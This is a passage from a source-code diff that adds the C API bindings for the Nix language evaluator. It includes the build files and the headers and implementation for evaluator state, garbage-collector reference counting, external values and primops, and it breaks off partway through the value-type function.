+INCLUDE_libexprc := -I $(d) +libexprc_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libutilc) \ + $(INCLUDE_libfetchers) \ + $(INCLUDE_libstore) $(INCLUDE_libstorec) \ + $(INCLUDE_libexpr) $(INCLUDE_libexprc) + +libexprc_LIBS = libutil libutilc libstore libstorec libfetchers libexpr + +libexprc_LDFLAGS += $(THREAD_LDFLAGS) + +$(eval $(call install-file-in, $(d)/nix-expr-c.pc, $(libdir)/pkgconfig, 0644)) + +libexprc_FORCE_INSTALL := 1 + diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build new file mode 100644 index 000000000..6db5b83b8 --- /dev/null +++ b/src/libexpr-c/meson.build @@ -0,0 +1,93 @@ +project('nix-expr-c', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +configdata = configuration_data() + +deps_private_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-store'), + dependency('nix-expr'), +] +deps_public_maybe_subproject = [ + dependency('nix-util-c'), + dependency('nix-store-c'), +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +# TODO rename, because it will conflict with downstream projects +configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) + +config_h = configure_file( + configuration : configdata, + output : 'config-expr.h', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + + # From C++ libraries, only for internals + '-include', 'config-util.hh', + '-include', 'config-store.hh', + '-include', 'config-expr.hh', + + # From C libraries, for our public, installed headers too + '-include', 'config-util.h', + '-include', 'config-store.h', + '-include', 'config-expr.h', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'nix_api_expr.cc', + 'nix_api_external.cc', + 'nix_api_value.cc', +) + +include_dirs = [include_directories('.')] + +headers = [config_h] + files( + 'nix_api_expr.h', + 'nix_api_external.h', + 'nix_api_value.h', +) + +# TODO move this header to libexpr, maybe don't use it in tests? +headers += files('nix_api_expr_internal.h') + +subdir('build-utils-meson/export-all-symbols') + +this_library = library( + 'nixexprc', + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + link_args: linker_export_flags, + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/src/libexpr-c/nix-expr-c.pc.in b/src/libexpr-c/nix-expr-c.pc.in new file mode 100644 index 000000000..06897064d --- /dev/null +++ b/src/libexpr-c/nix-expr-c.pc.in @@ -0,0 +1,10 @@ +prefix=@prefix@ +libdir=@libdir@ +includedir=@includedir@ + +Name: Nix +Description: Nix Language Evaluator - C API +Version: @PACKAGE_VERSION@ +Requires: nix-store-c +Libs: -L${libdir} -lnixexprc +Cflags: -I${includedir}/nix diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc new file mode 100644 index 000000000..8f21d7022 --- /dev/null +++ b/src/libexpr-c/nix_api_expr.cc @@ -0,0 +1,213 @@ +#include +#include +#include + +#include "eval.hh" +#include "eval-gc.hh" +#include "globals.hh" +#include "eval-settings.hh" + +#include "nix_api_expr.h" +#include "nix_api_expr_internal.h" +#include "nix_api_store.h" +#include "nix_api_store_internal.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" + +#if HAVE_BOEHMGC +# include +# define GC_INCLUDE_NEW 1 +# include "gc_cpp.h" +#endif + +nix_err nix_libexpr_init(nix_c_context * context) +{ + if (context) + context->last_err_code = NIX_OK; + { + auto ret = nix_libutil_init(context); + if (ret != NIX_OK) + return ret; + } + { + auto ret = nix_libstore_init(context); + if (ret != NIX_OK) + return ret; + } + try { + nix::initGC(); + } + NIXC_CATCH_ERRS +} + +nix_err nix_expr_eval_from_string( + nix_c_context * context, EvalState * state, const char * expr, const char * path, nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::Expr * parsedExpr = state->state.parseExprFromString(expr, state->state.rootPath(nix::CanonPath(path))); + state->state.eval(parsedExpr, value->value); + state->state.forceValue(value->value, nix::noPos); + } + NIXC_CATCH_ERRS +} + +nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, nix_value * arg, nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + state->state.callFunction(fn->value, arg->value, value->value, nix::noPos); + state->state.forceValue(value->value, nix::noPos); + } + NIXC_CATCH_ERRS +} + +nix_err nix_value_call_multi(nix_c_context * context, EvalState * state, nix_value * fn, size_t nargs, nix_value ** args, nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + state->state.callFunction(fn->value, nargs, (nix::Value * *)args, value->value, nix::noPos); + state->state.forceValue(value->value, nix::noPos); + } + NIXC_CATCH_ERRS +} + +nix_err nix_value_force(nix_c_context * context, EvalState * state, nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + state->state.forceValue(value->value, nix::noPos); + } + NIXC_CATCH_ERRS +} + +nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + state->state.forceValueDeep(value->value); + } + NIXC_CATCH_ERRS +} + +EvalState * nix_state_create(nix_c_context * context, const char ** lookupPath_c, Store * store) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::Strings lookupPath; + if (lookupPath_c != nullptr) + for (size_t i = 0; lookupPath_c[i] != nullptr; i++) + lookupPath.push_back(lookupPath_c[i]); + + void * p = ::operator new( + sizeof(EvalState), + static_cast(alignof(EvalState))); + auto * p2 = static_cast(p); + new (p) EvalState { + .fetchSettings = nix::fetchers::Settings{}, + .settings = nix::EvalSettings{ + nix::settings.readOnlyMode, + }, + .state = nix::EvalState( + nix::LookupPath::parse(lookupPath), + store->ptr, + p2->fetchSettings, + p2->settings), + }; + loadConfFile(p2->settings); + return p2; + } + NIXC_CATCH_ERRS_NULL +} + +void nix_state_free(EvalState * state) +{ + delete state; +} + +#if HAVE_BOEHMGC +std::unordered_map< + const void *, + unsigned int, + std::hash, + std::equal_to, + traceable_allocator>> + nix_refcounts; + +std::mutex nix_refcount_lock; + +nix_err nix_gc_incref(nix_c_context * context, const void * p) +{ + if (context) + context->last_err_code = NIX_OK; + try { + std::scoped_lock lock(nix_refcount_lock); + auto f = nix_refcounts.find(p); + if (f != nix_refcounts.end()) { + f->second++; + } else { + nix_refcounts[p] = 1; + } + } + NIXC_CATCH_ERRS +} + +nix_err nix_gc_decref(nix_c_context * context, const void * p) +{ + + if (context) + context->last_err_code = NIX_OK; + try { + std::scoped_lock lock(nix_refcount_lock); + auto f = nix_refcounts.find(p); + if (f != nix_refcounts.end()) { + if (--f->second == 0) + nix_refcounts.erase(f); + } else + throw std::runtime_error("nix_gc_decref: object was not referenced"); + } + NIXC_CATCH_ERRS +} + +void nix_gc_now() +{ + GC_gcollect(); +} + +#else +nix_err nix_gc_incref(nix_c_context * context, const void *) +{ + if (context) + context->last_err_code = NIX_OK; + return NIX_OK; +} +nix_err nix_gc_decref(nix_c_context * context, const void *) +{ + if (context) + context->last_err_code = NIX_OK; + return NIX_OK; +} +void nix_gc_now() {} +#endif + +nix_err nix_value_incref(nix_c_context * context, nix_value *x) +{ + return nix_gc_incref(context, (const void *) x); +} +nix_err nix_value_decref(nix_c_context * context, nix_value *x) +{ + return nix_gc_decref(context, (const void *) x); +} + +void nix_gc_register_finalizer(void * obj, void * cd, void (*finalizer)(void * obj, void * cd)) +{ +#if HAVE_BOEHMGC + GC_REGISTER_FINALIZER(obj, finalizer, cd, 0, 0); +#endif +} diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h new file mode 100644 index 000000000..1764b49f3 --- /dev/null +++ b/src/libexpr-c/nix_api_expr.h @@ -0,0 +1,257 @@ +#ifndef NIX_API_EXPR_H +#define NIX_API_EXPR_H +/** @defgroup libexpr libexpr + * @brief Bindings to the Nix language evaluator + * + * See *[Embedding the Nix Evaluator](@ref nix_evaluator_example)* for an example. + * @{ + */ +/** @file + * @brief Main entry for the libexpr C bindings + */ + +#include "nix_api_store.h" +#include "nix_api_util.h" +#include + +#ifndef __has_c_attribute +# define __has_c_attribute(x) 0 +#endif + +#if __has_c_attribute(deprecated) +# define NIX_DEPRECATED(msg) [[deprecated(msg)]] +#else +# define NIX_DEPRECATED(msg) +#endif + +#ifdef __cplusplus +extern "C" { +#endif +// cffi start + +// Type definitions +/** + * @brief Represents a state of the Nix language evaluator. + * + * Multiple states can be created for multi-threaded + * operation. + * @struct EvalState + * @see nix_state_create + */ +typedef struct EvalState EvalState; // nix::EvalState + +/** @brief A Nix language value, or thunk that may evaluate to a value. + * + * Values are the primary objects manipulated in the Nix language. + * They are considered to be immutable from a user's perspective, but the process of evaluating a value changes its + * ValueType if it was a thunk. After a value has been evaluated, its ValueType does not change. + * + * Evaluation in this context refers to the process of evaluating a single value object, also called "forcing" the + * value; see `nix_value_force`. + * + * The evaluator manages its own memory, but your use of the C API must follow the reference counting rules. + * + * @see value_manip + * @see nix_value_incref, nix_value_decref + */ +typedef struct nix_value nix_value; +NIX_DEPRECATED("use nix_value instead") typedef nix_value Value; + +// Function prototypes +/** + * @brief Initialize the Nix language evaluator. + * + * This function must be called at least once, + * at some point before constructing a EvalState for the first time. + * This function can be called multiple times, and is idempotent. + * + * @param[out] context Optional, stores error information + * @return NIX_OK if the initialization was successful, an error code otherwise. + */ +nix_err nix_libexpr_init(nix_c_context * context); + +/** + * @brief Parses and evaluates a Nix expression from a string. + * + * @param[out] context Optional, stores error information + * @param[in] state The state of the evaluation. + * @param[in] expr The Nix expression to parse. + * @param[in] path The file path to associate with the expression. + * This is required for expressions that contain relative paths (such as `./.`) that are resolved relative to the given + * directory. + * @param[out] value The result of the evaluation. You must allocate this + * yourself. + * @return NIX_OK if the evaluation was successful, an error code otherwise. + */ +nix_err nix_expr_eval_from_string( + nix_c_context * context, EvalState * state, const char * expr, const char * path, nix_value * value); + +/** + * @brief Calls a Nix function with an argument. + * + * @param[out] context Optional, stores error information + * @param[in] state The state of the evaluation. + * @param[in] fn The Nix function to call. + * @param[in] arg The argument to pass to the function. + * @param[out] value The result of the function call. + * @return NIX_OK if the function call was successful, an error code otherwise. + * @see nix_init_apply() for a similar function that does not performs the call immediately, but stores it as a thunk. + * Note the different argument order. + */ +nix_err nix_value_call(nix_c_context * context, EvalState * state, nix_value * fn, nix_value * arg, nix_value * value); + +/** + * @brief Calls a Nix function with multiple arguments. + * + * Technically these are functions that return functions. It is common for Nix + * functions to be curried, so this function is useful for calling them. + * + * @param[out] context Optional, stores error information + * @param[in] state The state of the evaluation. + * @param[in] fn The Nix function to call. + * @param[in] nargs The number of arguments. + * @param[in] args The arguments to pass to the function. + * @param[out] value The result of the function call. + * + * @see nix_value_call For the single argument primitive. + * @see NIX_VALUE_CALL For a macro that wraps this function for convenience. + */ +nix_err nix_value_call_multi( + nix_c_context * context, EvalState * state, nix_value * fn, size_t nargs, nix_value ** args, nix_value * value); + +/** + * @brief Calls a Nix function with multiple arguments. + * + * Technically these are functions that return functions. It is common for Nix + * functions to be curried, so this function is useful for calling them. + * + * @param[out] context Optional, stores error information + * @param[in] state The state of the evaluation. + * @param[out] value The result of the function call. + * @param[in] fn The Nix function to call. + * @param[in] args The arguments to pass to the function. + * + * @see nix_value_call_multi + */ +#define NIX_VALUE_CALL(context, state, value, fn, ...) \ + do { \ + nix_value * args_array[] = {__VA_ARGS__}; \ + size_t nargs = sizeof(args_array) / sizeof(args_array[0]); \ + nix_value_call_multi(context, state, fn, nargs, args_array, value); \ + } while (0) + +/** + * @brief Forces the evaluation of a Nix value. + * + * The Nix interpreter is lazy, and not-yet-evaluated values can be + * of type NIX_TYPE_THUNK instead of their actual value. + * + * This function mutates such a `nix_value`, so that, if successful, it has its final type. + * + * @param[out] context Optional, stores error information + * @param[in] state The state of the evaluation. + * @param[in,out] value The Nix value to force. + * @post value is not of type NIX_TYPE_THUNK + * @return NIX_OK if the force operation was successful, an error code + * otherwise. + */ +nix_err nix_value_force(nix_c_context * context, EvalState * state, nix_value * value); + +/** + * @brief Forces the deep evaluation of a Nix value. + * + * Recursively calls nix_value_force + * + * @see nix_value_force + * @warning Calling this function on a recursive data structure will cause a + * stack overflow. + * @param[out] context Optional, stores error information + * @param[in] state The state of the evaluation. + * @param[in,out] value The Nix value to force. + * @return NIX_OK if the deep force operation was successful, an error code + * otherwise. + */ +nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, nix_value * value); + +/** + * @brief Create a new Nix language evaluator state. + * + * @param[out] context Optional, stores error information + * @param[in] lookupPath Null-terminated array of strings corresponding to entries in NIX_PATH. + * @param[in] store The Nix store to use. + * @return A new Nix state or NULL on failure. + */ +EvalState * nix_state_create(nix_c_context * context, const char ** lookupPath, Store * store); + +/** + * @brief Frees a Nix state. + * + * Does not fail. + * + * @param[in] state The state to free. + */ +void nix_state_free(EvalState * state); + +/** @addtogroup GC + * @brief Reference counting and garbage collector operations + * + * The Nix language evaluator uses a garbage collector. To ease C interop, we implement + * a reference counting scheme, where objects will be deallocated + * when there are no references from the Nix side, and the reference count kept + * by the C API reaches `0`. + * + * Functions returning a garbage-collected object will automatically increase + * the refcount for you. You should make sure to call `nix_gc_decref` when + * you're done with a value returned by the evaluator. + * @{ + */ + +// TODO: Deprecate nix_gc_incref in favor of the type-specific reference counting functions? +// e.g. nix_value_incref. +// It gives implementors more flexibility, and adds safety, so that generated +// bindings can be used without fighting the host type system (where applicable). +/** + * @brief Increment the garbage collector reference counter for the given object. + * + * The Nix language evaluator C API keeps track of alive objects by reference counting. + * When you're done with a refcounted pointer, call nix_gc_decref(). + * + * @param[out] context Optional, stores error information + * @param[in] object The object to keep alive + */ +nix_err nix_gc_incref(nix_c_context * context, const void * object); +/** + * @brief Decrement the garbage collector reference counter for the given object + * + * @param[out] context Optional, stores error information + * @param[in] object The object to stop referencing + */ +nix_err nix_gc_decref(nix_c_context * context, const void * object); + +/** + * @brief Trigger the garbage collector manually + * + * You should not need to do this, but it can be useful for debugging. + */ +void nix_gc_now(); + +/** + * @brief Register a callback that gets called when the object is garbage + * collected. + * @note Objects can only have a single finalizer. This function overwrites existing values + * silently. + * @param[in] obj the object to watch + * @param[in] cd the data to pass to the finalizer + * @param[in] finalizer the callback function, called with obj and cd + */ +void nix_gc_register_finalizer(void * obj, void * cd, void (*finalizer)(void * obj, void * cd)); + +/** @} */ +// cffi end +#ifdef __cplusplus +} +#endif + +/** @} */ + +#endif // NIX_API_EXPR_H diff --git a/src/libexpr-c/nix_api_expr_internal.h b/src/libexpr-c/nix_api_expr_internal.h new file mode 100644 index 000000000..12f24b6eb --- /dev/null +++ b/src/libexpr-c/nix_api_expr_internal.h @@ -0,0 +1,53 @@ +#ifndef NIX_API_EXPR_INTERNAL_H +#define NIX_API_EXPR_INTERNAL_H + +#include "fetch-settings.hh" +#include "eval.hh" +#include "eval-settings.hh" +#include "attr-set.hh" +#include "nix_api_value.h" + +struct EvalState +{ + nix::fetchers::Settings fetchSettings; + nix::EvalSettings settings; + nix::EvalState state; +}; + +struct BindingsBuilder +{ + nix::BindingsBuilder builder; +}; + +struct ListBuilder +{ + nix::ListBuilder builder; +}; + +struct nix_value +{ + nix::Value value; +}; + +struct nix_string_return +{ + std::string str; +}; + +struct nix_printer +{ + std::ostream & s; +}; + +struct nix_string_context +{ + nix::NixStringContext & ctx; +}; + +struct nix_realised_string +{ + std::string str; + std::vector storePaths; +}; + +#endif // NIX_API_EXPR_INTERNAL_H diff --git a/src/libexpr-c/nix_api_external.cc b/src/libexpr-c/nix_api_external.cc new file mode 100644 index 000000000..fa78eb5df --- /dev/null +++ b/src/libexpr-c/nix_api_external.cc @@ -0,0 +1,198 @@ +#include "attr-set.hh" +#include "config.hh" +#include "eval.hh" +#include "globals.hh" +#include "value.hh" + +#include "nix_api_expr.h" +#include "nix_api_expr_internal.h" +#include "nix_api_external.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" +#include "nix_api_value.h" +#include "value/context.hh" + +#include + +#if HAVE_BOEHMGC +# include "gc/gc.h" +# define GC_INCLUDE_NEW 1 +# include "gc_cpp.h" +#endif + +void nix_set_string_return(nix_string_return * str, const char * c) +{ + str->str = c; +} + +nix_err nix_external_print(nix_c_context * context, nix_printer * printer, const char * c) +{ + if (context) + context->last_err_code = NIX_OK; + try { + printer->s << c; + } + NIXC_CATCH_ERRS +} + +nix_err nix_external_add_string_context(nix_c_context * context, nix_string_context * ctx, const char * c) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto r = nix::NixStringContextElem::parse(c); + ctx->ctx.insert(r); + } + NIXC_CATCH_ERRS +} + +class NixCExternalValue : public nix::ExternalValueBase +{ + NixCExternalValueDesc & desc; + void * v; + +public: + NixCExternalValue(NixCExternalValueDesc & desc, void * v) + : desc(desc) + , v(v){}; + void * get_ptr() + { + return v; + } + /** + * Print out the value + */ + virtual std::ostream & print(std::ostream & str) const override + { + nix_printer p{str}; + desc.print(v, &p); + return str; + } + + /** + * Return a simple string describing the type + */ + virtual std::string showType() const override + { + nix_string_return res; + desc.showType(v, &res); + return std::move(res.str); + } + + /** + * Return a string to be used in builtins.typeOf + */ + virtual std::string typeOf() const override + { + nix_string_return res; + desc.typeOf(v, &res); + return std::move(res.str); + } + + /** + * Coerce the value to a string. + */ + virtual std::string coerceToString( + nix::EvalState & state, + const nix::PosIdx & pos, + nix::NixStringContext & context, + bool copyMore, + bool copyToStore) const override + { + if (!desc.coerceToString) { + return nix::ExternalValueBase::coerceToString(state, pos, context, copyMore, copyToStore); + } + nix_string_context ctx{context}; + nix_string_return res{""}; + // todo: pos, errors + desc.coerceToString(v, &ctx, copyMore, copyToStore, &res); + if (res.str.empty()) { + return nix::ExternalValueBase::coerceToString(state, pos, context, copyMore, copyToStore); + } + return std::move(res.str); + } + + /** + * Compare to another value of the same type. + */ + virtual bool operator==(const ExternalValueBase & b) const noexcept override + { + if (!desc.equal) { + return false; + } + auto r = dynamic_cast(&b); + if (!r) + return false; + return desc.equal(v, r->v); + } + + /** + * Print the value as JSON. + */ + virtual nlohmann::json printValueAsJSON( + nix::EvalState & state, bool strict, nix::NixStringContext & context, bool copyToStore = true) const override + { + if (!desc.printValueAsJSON) { + return nix::ExternalValueBase::printValueAsJSON(state, strict, context, copyToStore); + } + nix_string_context ctx{context}; + nix_string_return res{""}; + desc.printValueAsJSON(v, (EvalState *) &state, strict, &ctx, copyToStore, &res); + if (res.str.empty()) { + return nix::ExternalValueBase::printValueAsJSON(state, strict, context, copyToStore); + } + return nlohmann::json::parse(res.str); + } + + /** + * Print the value as XML. + */ + virtual void printValueAsXML( + nix::EvalState & state, + bool strict, + bool location, + nix::XMLWriter & doc, + nix::NixStringContext & context, + nix::PathSet & drvsSeen, + const nix::PosIdx pos) const override + { + if (!desc.printValueAsXML) { + return nix::ExternalValueBase::printValueAsXML(state, strict, location, doc, context, drvsSeen, pos); + } + nix_string_context ctx{context}; + desc.printValueAsXML( + v, (EvalState *) &state, strict, location, &doc, &ctx, &drvsSeen, + *reinterpret_cast(&pos)); + } + + virtual ~NixCExternalValue() override{}; +}; + +ExternalValue * nix_create_external_value(nix_c_context * context, NixCExternalValueDesc * desc, void * v) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto ret = new +#if HAVE_BOEHMGC + (GC) +#endif + NixCExternalValue(*desc, v); + nix_gc_incref(nullptr, ret); + return (ExternalValue *) ret; + } + NIXC_CATCH_ERRS_NULL +} + +void * nix_get_external_value_content(nix_c_context * context, ExternalValue * b) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto r = dynamic_cast((nix::ExternalValueBase *) b); + if (r) + return r->get_ptr(); + return nullptr; + } + NIXC_CATCH_ERRS_NULL +} diff --git a/src/libexpr-c/nix_api_external.h b/src/libexpr-c/nix_api_external.h new file mode 100644 index 000000000..6c524b975 --- /dev/null +++ b/src/libexpr-c/nix_api_external.h @@ -0,0 +1,196 @@ +#ifndef NIX_API_EXTERNAL_H +#define NIX_API_EXTERNAL_H +/** @ingroup libexpr + * @addtogroup Externals + * @brief Deal with external values + * @{ + */ +/** @file + * @brief libexpr C bindings dealing with external values + */ + +#include "nix_api_expr.h" +#include "nix_api_util.h" +#include "nix_api_value.h" +#include "stdbool.h" +#include "stddef.h" +#include "stdint.h" + +#ifdef __cplusplus +extern "C" { +#endif +// cffi start + +/** + * @brief Represents a string owned by the Nix language evaluator. + * @see nix_set_owned_string + */ +typedef struct nix_string_return nix_string_return; +/** + * @brief Wraps a stream that can output multiple string pieces. + */ +typedef struct nix_printer nix_printer; +/** + * @brief A list of string context items + */ +typedef struct nix_string_context nix_string_context; + +/** + * @brief Sets the contents of a nix_string_return + * + * Copies the passed string. + * @param[out] str the nix_string_return to write to + * @param[in] c The string to copy + */ +void nix_set_string_return(nix_string_return * str, const char * c); + +/** + * Print to the nix_printer + * + * @param[out] context Optional, stores error information + * @param[out] printer The nix_printer to print to + * @param[in] str The string to print + * @returns NIX_OK if everything worked + */ +nix_err nix_external_print(nix_c_context * context, nix_printer * printer, const char * str); + +/** + * Add string context to the nix_string_context object + * @param[out] context Optional, stores error information + * @param[out] string_context The nix_string_context to add to + * @param[in] c The context string to add + * @returns NIX_OK if everything worked + */ +nix_err nix_external_add_string_context(nix_c_context * context, nix_string_context * string_context, const char * c); + +/** + * @brief Definition for a class of external values + * + * Create and implement one of these, then pass it to nix_create_external_value + * Make sure to keep it alive while the external value lives. + * + * Optional functions can be set to NULL + * + * @see nix_create_external_value + */ +typedef struct NixCExternalValueDesc +{ + /** + * @brief Called when printing the external value + * + * @param[in] self the void* passed to nix_create_external_value + * @param[out] printer The printer to print to, pass to nix_external_print + */ + void (*print)(void * self, nix_printer * printer); + /** + * @brief Called on :t + * @param[in] self the void* passed to nix_create_external_value + * @param[out] res the return value + */ + void (*showType)(void * self, nix_string_return * res); + /** + * @brief Called on `builtins.typeOf` + * @param self the void* passed to nix_create_external_value + * @param[out] res the return value + */ + void (*typeOf)(void * self, nix_string_return * res); + /** + * @brief Called on "${str}" and builtins.toString. + * + * The latter with coerceMore=true + * Optional, the default is to throw an error. + * @param[in] self the void* passed to nix_create_external_value + * @param[out] c writable string context for the resulting string + * @param[in] coerceMore boolean, try to coerce to strings in more cases + * instead of throwing an error + * @param[in] copyToStore boolean, whether to copy referenced paths to store + * or keep them as-is + * @param[out] res the return value. Not touching this, or setting it to the + * empty string, will make the conversion throw an error. + */ + void (*coerceToString)( + void * self, nix_string_context * c, int coerceMore, int copyToStore, nix_string_return * res); + /** + * @brief Try to compare two external values + * + * Optional, the default is always false. + * If the other object was not a Nix C external value, this comparison will + * also return false + * @param[in] self the void* passed to nix_create_external_value + * @param[in] other the void* passed to the other object's + * nix_create_external_value + * @returns true if the objects are deemed to be equal + */ + int (*equal)(void * self, void * other); + /** + * @brief Convert the external value to json + * + * Optional, the default is to throw an error + * @param[in] self the void* passed to nix_create_external_value + * @param[in] state The evaluator state + * @param[in] strict boolean Whether to force the value before printing + * @param[out] c writable string context for the resulting string + * @param[in] copyToStore whether to copy referenced paths to store or keep + * them as-is + * @param[out] res the return value. Gets parsed as JSON. Not touching this, + * or setting it to the empty string, will make the conversion throw an error. + */ + void (*printValueAsJSON)( + void * self, EvalState * state, bool strict, nix_string_context * c, bool copyToStore, nix_string_return * res); + /** + * @brief Convert the external value to XML + * + * Optional, the default is to throw an error + * @todo The mechanisms for this call are incomplete. There are no C + * bindings to work with XML, pathsets and positions. + * @param[in] self the void* passed to nix_create_external_value + * @param[in] state The evaluator state + * @param[in] strict boolean Whether to force the value before printing + * @param[in] location boolean Whether to include position information in the + * xml + * @param[out] doc XML document to output to + * @param[out] c writable string context for the resulting string + * @param[in,out] drvsSeen a path set to avoid duplicating derivations + * @param[in] pos The position of the call. + */ + void (*printValueAsXML)( + void * self, + EvalState * state, + int strict, + int location, + void * doc, + nix_string_context * c, + void * drvsSeen, + int pos); +} NixCExternalValueDesc; + +/** + * @brief Create an external value, that can be given to nix_init_external + * + * Owned by the GC. Use nix_gc_decref when you're done with the pointer. + * + * @param[out] context Optional, stores error information + * @param[in] desc a NixCExternalValueDesc, you should keep this alive as long + * as the ExternalValue lives + * @param[in] v the value to store + * @returns external value, owned by the garbage collector + * @see nix_init_external + */ +ExternalValue * nix_create_external_value(nix_c_context * context, NixCExternalValueDesc * desc, void * v); + +/** + * @brief Extract the pointer from a nix c external value. + * @param[out] context Optional, stores error information + * @param[in] b The external value + * @returns The pointer, or null if the external value was not from nix c. + * @see nix_get_external + */ +void * nix_get_external_value_content(nix_c_context * context, ExternalValue * b); + +// cffi end +#ifdef __cplusplus +} +#endif +/** @} */ + +#endif // NIX_API_EXTERNAL_H diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc new file mode 100644 index 000000000..fa2a9cbe2 --- /dev/null +++ b/src/libexpr-c/nix_api_value.cc @@ -0,0 +1,663 @@ +#include "attr-set.hh" +#include "config.hh" +#include "eval.hh" +#include "globals.hh" +#include "path.hh" +#include "primops.hh" +#include "value.hh" + +#include "nix_api_expr.h" +#include "nix_api_expr_internal.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" +#include "nix_api_store_internal.h" +#include "nix_api_value.h" +#include "value/context.hh" + +#if HAVE_BOEHMGC +# include "gc/gc.h" +# define GC_INCLUDE_NEW 1 +# include "gc_cpp.h" +#endif + +// Internal helper functions to check [in] and [out] `Value *` parameters +static const nix::Value & check_value_not_null(const nix_value * value) +{ + if (!value) { + throw std::runtime_error("nix_value is null"); + } + return *((const nix::Value *) value); +} + +static nix::Value & check_value_not_null(nix_value * value) +{ + if (!value) { + throw std::runtime_error("nix_value is null"); + } + return value->value; +} + +static const nix::Value & check_value_in(const nix_value * value) +{ + auto & v = check_value_not_null(value); + if (!v.isValid()) { + throw std::runtime_error("Uninitialized nix_value"); + } + return v; +} + +static nix::Value & check_value_in(nix_value * value) +{ + auto & v = check_value_not_null(value); + if (!v.isValid()) { + throw std::runtime_error("Uninitialized nix_value"); + } + return v; +} + +static nix::Value & check_value_out(nix_value * value) +{ + auto & v = check_value_not_null(value); + if (v.isValid()) { + throw std::runtime_error("nix_value already initialized. Variables are immutable"); + } + return v; +} + +static inline nix_value * as_nix_value_ptr(nix::Value * v) +{ + return reinterpret_cast(v); +} + +/** + * Helper function to convert calls from nix into C API. + * + * Deals with errors and converts arguments from C++ into C types. + */ +static void nix_c_primop_wrapper( + PrimOpFun f, void * userdata, nix::EvalState & state, const nix::PosIdx pos, nix::Value ** args, nix::Value & v) +{ + nix_c_context ctx; + + // v currently has a thunk, but the C API initializers require an uninitialized value. + // + // We can't destroy the thunk, because that makes it impossible to retry, + // which is needed for tryEval and for evaluation drivers that evaluate more + // than one value (e.g. an attrset with two derivations, both of which + // reference v). + // + // Instead we create a temporary value, and then assign the result to v. + // This does not give the primop definition access to the thunk, but that's + // ok because we don't see a need for this yet (e.g. inspecting thunks, + // or maybe something to make blackholes work better; we don't know). + nix::Value vTmp; + + f(userdata, &ctx, (EvalState *) &state, (nix_value **) args, (nix_value *) &vTmp); + + if (ctx.last_err_code != NIX_OK) { + /* TODO: Throw different errors depending on the error code */ + state.error("Error from custom function: %s", *ctx.last_err).atPos(pos).debugThrow(); + } + + if (!vTmp.isValid()) { + state.error("Implementation error in custom function: return value was not initialized") + .atPos(pos) + .debugThrow(); + } + + if (vTmp.type() == nix::nThunk) { + // We might allow this in the future if it makes sense for the evaluator + // e.g. implementing tail recursion by returning a thunk to the next + // "iteration". Until then, this is most likely a mistake or misunderstanding. + state.error("Implementation error in custom function: return value must not be a thunk") + .atPos(pos) + .debugThrow(); + } + + v = vTmp; +} + +PrimOp * nix_alloc_primop( + nix_c_context * context, + PrimOpFun fun, + int arity, + const char * name, + const char ** args, + const char * doc, + void * user_data) +{ + if (context) + context->last_err_code = NIX_OK; + try { + using namespace std::placeholders; + auto p = new +#if HAVE_BOEHMGC + (GC) +#endif + nix::PrimOp{ + .name = name, + .args = {}, + .arity = (size_t) arity, + .doc = doc, + .fun = std::bind(nix_c_primop_wrapper, fun, user_data, _1, _2, _3, _4)}; + if (args) + for (size_t i = 0; args[i]; i++) + p->args.emplace_back(*args); + nix_gc_incref(nullptr, p); + return (PrimOp *) p; + } + NIXC_CATCH_ERRS_NULL +} + +nix_err nix_register_primop(nix_c_context * context, PrimOp * primOp) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix::RegisterPrimOp r(std::move(*((nix::PrimOp *) primOp))); + } + NIXC_CATCH_ERRS +} + +nix_value * nix_alloc_value(nix_c_context * context, EvalState * state) +{ + if (context) + context->last_err_code = NIX_OK; + try { + nix_value * res = as_nix_value_ptr(state->state.allocValue()); + nix_gc_incref(nullptr, res); + return res; + } + NIXC_CATCH_ERRS_NULL +} + +ValueType nix_get_type(nix_c_context * context, const nix_value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_in(value); + using namespace nix; + switch (v.type()) { + case nThunk: + return NIX_TYPE_THUNK; + case nInt: + return NIX_TYPE_INT; + case nFloat: + return NIX_TYPE_FLOAT; + case nBool: + return NIX_TYPE_BOOL; + case nString: + return NIX_TYPE_STRING; + case nPath: + return NIX_TYPE_PATH; + case nNull: + return NIX_TYPE_NULL; + case nAttrs: + return NIX_TYPE_ATTRS; + case nList: + return NIX_TYPE_LIST; + case nFunction: + return 